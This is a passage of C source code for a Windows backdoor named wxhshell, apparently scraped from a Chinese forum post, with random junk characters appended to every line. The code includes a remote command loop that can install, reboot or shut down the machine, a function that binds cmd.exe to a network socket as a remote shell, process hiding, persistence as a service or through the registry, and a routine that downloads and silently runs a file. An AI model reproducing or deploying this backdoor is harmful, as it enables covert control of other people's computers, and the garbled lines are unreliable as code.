      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fk>aqm7D!  
    break; IGQFtO/x  
  } ) 7@ `ut  
  // 安装 v^NIx q}U  
  case 'i': { gp?uHKsM  
    if(Install()) 6ex/TySM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : /N0!&7  
    else 9};8?mucr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fb>?1i`RN  
    break; FUb\e-Q=  
    } +Q)XH>jh   
  // 卸载 u@M,qo`  
  case 'r': { ]Sz:|%JP1  
    if(Uninstall()) MYvY]Jx3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'ya{9EdlT  
    else yYYSeH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E GS)b  
    break; (gU!=F?#m  
    } )m)-o4c  
  // 显示 wxhshell 所在路径 Bahm]2  
  case 'p': { |F[+k e  
    char svExeFile[MAX_PATH]; KqJs?Won  
    strcpy(svExeFile,"\n\r"); 50wulGJud  
      strcat(svExeFile,ExeFile); 9>/4W.  
        send(wsh,svExeFile,strlen(svExeFile),0); #x60xz  
    break; 9T9!kb  
    } _Y4` xv0/  
  // 重启 Y =I'czg  
  case 'b': { =v&hWjP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iy!=6  
    if(Boot(REBOOT)) n'LrQU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 783,s_  
    else { JR21>;l#2  
    closesocket(wsh); C2I_%nU Z1  
    ExitThread(0); aFm_;\  
    } &`r-.&Y  
    break; -3 *]G^y2  
    } m dg8,n  
  // 关机 P|E| $)m  
  case 'd': { rJ4S%6w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FVbb2Y?R  
    if(Boot(SHUTDOWN)) f~R(D0@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /-'}q=M  
    else { %)1?TU  
    closesocket(wsh); ;[YG@-"XZ  
    ExitThread(0); 7Q9 w?y~c  
    } "+nRGEs6  
    break; cwlRQzQ(  
    }  4e7-0}0  
  // 获取shell Iyn(?w  
  case 's': { #gN&lY:CFn  
    CmdShell(wsh); bsli0FJSh'  
    closesocket(wsh); V)k4:H  
    ExitThread(0); pYEMmZ?L  
    break; |syR6(U}  
  } .`H5cuF`  
  // 退出 lrE5^;/s1  
  case 'x': { 8/#A!Ww]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pmx -8w  
    CloseIt(wsh); I$G['` XX/  
    break; h7oo7AP  
    } JPHL#sKyz  
  // 离开 +3BN}  
  case 'q': { J*A,o~U|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); | YWD8 +  
    closesocket(wsh); u c)eil  
    WSACleanup(); [|$h*YK  
    exit(1); VCkq"f7c w  
    break; n( yn<  
        } RbnVL$c  
  } &6!)jIWJ  
  }  8dA~\a  
vI >w e  
  // 提示信息  K5h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t =iIY`Md%  
} H%td hu\e  
  } %wy.TN  
>]TWXmx/w  
  return; ?l{nk5,?-Y  
} 5C ]x!>kX  
$a]`nLUa  
// shell模块句柄 !;A\.~-!G  
int CmdShell(SOCKET sock) %sP*=5?vA  
{ q?yVR3]M  
STARTUPINFO si; H*R"ntI?w  
ZeroMemory(&si,sizeof(si)); ^^$s%{ep"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IEi^kJflU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U7F!Z( 9  
PROCESS_INFORMATION ProcessInfo; B9z?mt'|r)  
char cmdline[]="cmd"; Dz/ "M=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T!#GW/?  
  return 0; + &Eqk  
} iYoMO["X  
(w3YvG.  
// 自身启动模式 X+9>A.92  
int StartFromService(void) ZLejcYS  
{ ouQ T  
typedef struct M6j y\<a  
{ ~36!?&eA8  
  DWORD ExitStatus; g3y~bf  
  DWORD PebBaseAddress; q|(HsLs  
  DWORD AffinityMask; tyFzSrfc  
  DWORD BasePriority; ^n z.j  
  ULONG UniqueProcessId; n-;`Cy`k  
  ULONG InheritedFromUniqueProcessId; k y7Gwc  
}   PROCESS_BASIC_INFORMATION; n_A3#d<9  
vk^xT  
PROCNTQSIP NtQueryInformationProcess; n7[V&`e_  
1Pu~X \sO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lL3U8}vn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b4kgFA  
Jnov<+  
  HANDLE             hProcess; T8$y[W-c  
  PROCESS_BASIC_INFORMATION pbi; V 5mTP'  
u6JM]kR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V)25$aKW7  
  if(NULL == hInst ) return 0; }Sv:`9=  
Y$_B1_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wc4=VC"y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0GeTS Fj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7{*>agQh  
gM:".Ee  
  if (!NtQueryInformationProcess) return 0; (\x]YMLH  
f ;n3&e0eC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Fx.=#bVX7  
  if(!hProcess) return 0; #_p\Ie*rd  
sO@Tf\d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zrb}_  
B]tQ(s~  
  CloseHandle(hProcess); O\ r0bUPE  
{P_.~0pc*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6i/(5 nQ  
if(hProcess==NULL) return 0; 26h21Z16q  
b ]KBgZ  
HMODULE hMod; R\[e!g*I  
char procName[255]; ~4'$yWG  
unsigned long cbNeeded; FZn w0tMq  
3!]rmZ-W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (GfZ*  
=Xr.'(U  
  CloseHandle(hProcess); tWc Hb #  
VOLj>w  
if(strstr(procName,"services")) return 1; // 以服务启动 gPPkT"  
WNtW|I V  
  return 0; // 注册表启动  @q) d  
} lThB2/tV\  
[7y]n;Fy  
// 主模块 8":Q)9;%  
int StartWxhshell(LPSTR lpCmdLine) O=7CMbS3  
{ |sE'XT4ag  
  SOCKET wsl; WpvhTX  
BOOL val=TRUE; 3JR+O <3D  
  int port=0; S f# R0SA  
  struct sockaddr_in door; 9->if/r,o  
t?FBG4  
  if(wscfg.ws_autoins) Install(); R:qW;n%AF  
H Pz+Dm  
port=atoi(lpCmdLine); (E1~H0^  
>m\(6x8RE  
if(port<=0) port=wscfg.ws_port; >A"(KSNL  
pQB."[n  
  WSADATA data; %xLh Z\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xAm6BB c  
Ny/MJ#Lq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *vMn$,^0h9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )^hbsMhO  
  door.sin_family = AF_INET; #RLt^$!H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J{G?-+`  
  door.sin_port = htons(port); C0Z=~Q%  
>vsqG=x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _+MJ%'>S  
closesocket(wsl); ]ZS OM\}  
return 1; mt.))#1  
} Y'X%Aw;`  
T)_hpt.  
  if(listen(wsl,2) == INVALID_SOCKET) { >H ,*H;6  
closesocket(wsl); owv[M6lbD  
return 1; ^-'fW7[m  
} _yR^*}xJb  
  Wxhshell(wsl); e*1_8I#2  
  WSACleanup(); R4d=S4 i  
Tlr v={  
return 0; uB?ZcF}Tk  
"0TZTa1e  
} !;'=iNOYR  
lp8v0e4  
// 以NT服务方式启动 dj%!I:Q>u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <1!O1ab  
{ #g!.T g'  
DWORD   status = 0; X@FN|Rdh  
  DWORD   specificError = 0xfffffff; 8 Fbo3  
hi[pVk~B)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5!9zI+S|=`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Flb&B1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xgtR6E^k  
  serviceStatus.dwWin32ExitCode     = 0; yB6?`3A:  
  serviceStatus.dwServiceSpecificExitCode = 0; -UT}/:a  
  serviceStatus.dwCheckPoint       = 0; O#r%>;3*  
  serviceStatus.dwWaitHint       = 0; ;dhQN }7  
&%Tj/Qx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `M6)f?|$.  
  if (hServiceStatusHandle==0) return; cB&:z)i4  
zbPqYhJzA  
status = GetLastError(); RD&PDXT4  
  if (status!=NO_ERROR) Z3!`J&  
{ -s/ea~=R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u]@['7  
    serviceStatus.dwCheckPoint       = 0; wz8yD8M  
    serviceStatus.dwWaitHint       = 0; ^<AwG=  
    serviceStatus.dwWin32ExitCode     = status; +"VP-s0  
    serviceStatus.dwServiceSpecificExitCode = specificError; jc9y<{~x/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6W Ur QFK  
    return; i}?>g-(  
  } 1BEHw?dLU  
U/BR*Zn]*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tm?#M&'  
  serviceStatus.dwCheckPoint       = 0; { (}By/_  
  serviceStatus.dwWaitHint       = 0; Y <qm{e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9_s`{(0?  
} ?bu>r=oIO]  
[0 e_*  
// 处理NT服务事件,比如:启动、停止 [ikOb8 G#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <of^AKbt  
{ Xha..r  
switch(fdwControl) A5w6]:f2  
{ gZ1?G-Q  
case SERVICE_CONTROL_STOP: bN@ l?w  
  serviceStatus.dwWin32ExitCode = 0; NaCy@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u<&m]] *  
  serviceStatus.dwCheckPoint   = 0; H>@+om  
  serviceStatus.dwWaitHint     = 0; t |oR7qa{w  
  { CJI~_3+K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;A!BVq  
  } 7x a>  
  return; Q NVa?'0"Y  
case SERVICE_CONTROL_PAUSE: Sa5G.^ XI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )\^-2[;  
  break; pD]OT-8  
case SERVICE_CONTROL_CONTINUE: ~u+9J}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N}YkMJy  
  break; =nHgDrA_  
case SERVICE_CONTROL_INTERROGATE: gPc=2  
  break; t&DEb_"De  
}; jF*j0PkNdb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 29q _BR *:  
} `@|$,2[C  
^sg,\zD 'X  
// 标准应用程序主函数 C"enpc_C/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W*w3 [_"sr  
{ >yh2Lri  
tklH@'q  
// 获取操作系统版本 ^zgo#J 5O  
OsIsNt=GetOsVer(); /H+a0`/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'A[dCc8O  
M& CqSd  
  // 从命令行安装 4ss4kp_>  
  if(strpbrk(lpCmdLine,"iI")) Install(); wH6aAV~1  
A. w:h;7  
  // 下载执行文件 5E_YEBO/  
if(wscfg.ws_downexe) { 2dgd~   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4nz35BLr  
  WinExec(wscfg.ws_filenam,SW_HIDE); C2)2)  
} YT8F#t8  
dnuu&Rv  
if(!OsIsNt) { ua `RJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 NW)1#]gg%  
HideProc(); H7+,*  
StartWxhshell(lpCmdLine); & "B=/-(  
} ^y4Z+Gu[  
else /|&*QLy  
  if(StartFromService()) kz7(Z'pw  
  // 以服务方式启动 4I5Y,g{6+  
  StartServiceCtrlDispatcher(DispatchTable); /JU.?M35  
else IdxzE_@  
  // 普通方式启动 w)jISu;RG  
  StartWxhshell(lpCmdLine); G<;*SYAb  
S>; 5[l 4  
return 0; ;IM}|2zuN  
}
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只看该作者 1 发表于: 2006-10-10
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